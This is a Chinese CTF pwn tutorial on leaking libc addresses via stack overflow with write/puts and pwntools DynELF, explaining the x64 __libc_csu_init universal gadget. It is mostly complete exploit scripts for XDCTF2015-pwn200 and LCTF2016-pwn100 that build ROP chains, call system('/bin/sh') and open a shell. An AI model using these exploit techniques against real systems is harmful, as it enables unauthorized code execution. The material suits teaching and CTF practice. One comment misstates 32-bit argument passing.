主要原理:利用栈溢出等写入栈的手段调用write或者puts函数,并控制write或puts函数参数泄露libc函数真实地址
由于x86程序直接使用栈传参,所以可以直接通过构造栈控制函数调用参数
以XDCTF2015-pwn200为例
def leak(address):
payload = "A" * 112 # 栈大小
payload += p32(writeplt) # write函数plt表地址地址
payload += p32(vulnaddress) # 返回地址,持续控制
payload += p32(1) # write标准输出
payload += p32(address) # 目的输出
payload += p32(4) # 长度
p.send(payload)
data = p.recv(4) # recv长度4字节
print "%#x => %s" % (address, (data or '').encode('hex'))
return data
x64程序先使用寄存器传参,当参数不多于6个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9
以LCTF2016-pwn100为例
由于在程序中没有找到write函数的调用,所以只能使用puts函数进行泄露
def leak(address):
count = 0
data = ''
payload = "A" * 64 + "A" * 8 # 填充垃圾数据
payload += p64(poprdi) + p64(address) # 目标地址,需要先把地址pop到rdi中
payload += p64(putsplt) # 调用puts
payload += p64(startaddress) # 因为puts函数会一直输出,直到遇到栈中的截断字符,所以为了保证栈的平衡,所以返回到start
payload = payload.ljust(200, "B")
p.send(payload)
print p.recvuntil('bye~n')
up = ""
# 为了接收到puts函数输出的所有字符,逐字符的接收拼接字符串,因为不知道puts函数以什么字符结束输出,所以引入超时机制
while True:
c = p.recv(numb=1, timeout=0.5)
count += 1
if up == 'n' and c == "":
data = data[:-1]
data += "x00"
break
else:
data += c
up = c
data = data[:4]
log.info("%#x => %s" % (address, (data or '').encode('hex')))
return data
下面的代码会出现一条叫做万能gadget的gadget,详细的解释可以点这里,为了节省大家的时间,这里直接说说大概内容:在栈溢出的场景下,只要 x64 程序中调用了 libc.so,就会自带一个很好用的通用Gadget:pop6
图中就是我们所说的通用gadget,这个gadget到底有多通用呢?
假如我们把这个gadget分成两个片段——0x40075A和0x400740,我们先调用gadget1(40075A),这个gadget可以把rbx,rbp,r12,r13,r14,r15都设成我们需要的值,一直到这里,这个gadget1都还没有体现出它的价值,但当我们return到gadget2(400740)的位置时,你会惊奇地发现,刚才设置的r13、r14的值直接变成了给rdx,rsi赋的值
到目前为止,我们已经控制了函数参数传递的两个寄存器(rdx,rsi),但这还不是全部,在0x400762处,pop r15的机器码为41 5F,而pop rdi的机器码是5F,所以,在0x400763的位置还隐藏着一条gadget3——pop rdi;retn。至此,函数调用约定的前三个传参寄存器的值都已经在我们的控制中了
而这时候通过控制r12和rbx的值,可以实现任意已知地址函数的调用(400749)
然后通过合理设置rbp的值,就可以顺序执行到400764的return,继续执行ROP链。(当然也可以通过控制rbp与rbx不等使得gadget2被重复执行)
获知libc版本后,我们就可以通过持续的栈控制进行任意libc函数的调用。
主要原理:libc各函数装载到内存中时,各函数之间的偏移量是确定的,所以根据已知函数的地址就可以得出任意libc函数的地址
函数通过栈传参,所以只要能控制栈就能用
以XDCTF2015-pwn200为例
from pwn import *
p = process("pwn200")
elf = ELF("pwn200")
# 已调用过的函数got表地址已知
writeplt = elf.symbols['write']
writegot = elf.got['write']
readplt = elf.symbols['read']
readgot = elf.got['read']
vulnaddress = 0x08048484 # 泄露地址后返回函数地址(可再次栈溢出的位置)
startaddress = 0x080483d0 # 调用start函数,用以恢复栈,同时可以持续控制
bssaddress = 0x0804a020 # 数据段,用来写入“/bin/sh”字符串
def leak(address):
payload = "A" * 112 # 栈大小
payload += p32(writeplt) # write函数plt表地址地址
payload += p32(vulnaddress) # 返回地址,持续控制
payload += p32(1) # write标准输出
payload += p32(address) # 目的输出
payload += p32(4) # 长度
p.send(payload)
data = p.recv(4) # recv长度4字节
print "%#x => %s" % (address, (data or '').encode('hex'))
return data
# 找到system函数
print p.recvline()
dynelf = DynELF(leak, elf=ELF("./lctf-pwn200"))
systemAddress = dynelf.lookup("__libc_system", "libc")
print "systemAddress:", hex(systemAddress)
# 使用start_addr恢复栈状态
payload1 = "A" * 112
payload1 += p32(startaddress)
p.send(payload1)
print p.recv()
# 要是64位程序的话,通过寄存器传参就不会出现栈不平衡的情况。但是作为32位程序,参数是通过寄存器传递的,所以在调用完read函数后,写入的“p32(0) + p32(bss_addr) + p32(8)”参数还残留在栈上,为了达到持续挟持的目的,所以需要找到一个gadget把前面的内容pop掉以保持栈平衡
pop3_addr = 0x0804856c # pop ebx ; pop edi ; pop ebp ; ret
payload1 = "A" * 112
payload1 += p32(readplt)
payload1 += p32(pop3_addr)
payload1 += p32(0) # 从给定地址的第0个字节开始读入
payload1 += p32(bssaddress) # 给定地址
payload1 += p32(8) # 读取长度
# 调用system函数,返回位置还是为了持续控制的栈溢出位置
payload1 += p32(systemAddress) + p32(vulnaddress) + p32(bssaddress)
p.send(payload1)
p.send('/bin/sh')
p.interactive()
以LCTF2016-pwn100为例
from pwn import *
p = process("./pwn100")
elf = ELF("./pwn100")
# 没有write
readplt = elf.symbols['read']
readgot = elf.got['read']
putsplt = elf.symbols['puts']
putsgot = elf.got['puts']
mainaddress = 0x4006b8
startaddress = 0x400550
poprdi = 0x400763 # gadget3
pop6address = 0x40075a # gadget1
movcalladdress = 0x400740 # gadget2
waddress = 0x601000 #可写的地址,应该只要不是readonly的地址都可以,pwngdb在程序运行起来后可以用 vmmap指令查看可写段
def leak(address):
count = 0
data = ''
payload = "A" * 64 + "A" * 8
payload += p64(poprdi) + p64(address)
payload += p64(putsplt)
payload += p64(startaddress)
payload = payload.ljust(200, "B")
p.send(payload)
print p.recvuntil('bye~n')
up = ""
while True:
c = p.recv(numb=1, timeout=0.5)
count += 1
if up == 'n' and c == "":
data = data[:-1]
data += "x00"
break
else:
data += c
up = c
data = data[:4]
log.info("%#x => %s" % (address, (data or '').encode('hex')))
return data
d = DynELF(leak, elf=ELF('./pwn100'))
systemAddress = d.lookup('__libc_system', 'libc')
print "systemAddress:", hex(systemAddress)
print "-----------write /bin/sh to bss--------------"
payload1 = "A" * 64 + "A" * 8 # 垃圾数据
# gadget1 pop到rbx pop到rbp pop到r12 r13 r14 r15
payload1 += p64(pop6address) + p64(0) + p64(1) + p64(readgot) + p64(8) + p64(waddress) + p64(0)
#gadget1 return到 gadget2
# 这里把r13复制到rdx,把r14复制到rsi,把r15的低字节复制到rdi的低字节
# 随后调用r12+rbx*8(read函数),参数为0,wadress,8
payload1 += p64(movcalladdress)
# 由于调用过后,rbp=rbx,顺序执行gadget1,此时有缩栈和pop6的操作,为了保证栈平衡,往栈里填充x00*56(7 * 8)
payload1 += 'x00'*56
# 已经读入/bin/sh,返回start address恢复栈
payload1 += p64(startaddress)
payload1 = payload1.ljust(200, "B")
p.send(payload1)
print p.recvuntil('bye~n')
p.send("/bin/shx00")
print "-----------get shell--------------"
payload2 = "A" * 64 + "A" * 8
payload2 += p64(poprdi) + p64(waddress) # gadget3把/bin/sh地址放入rdi
payload2 += p64(systemAddress) # 调用system
payload2 += p64(startaddress) # 恢复栈
payload2 = payload2.ljust(200, "B")
p.send(payload2)
p.interactive()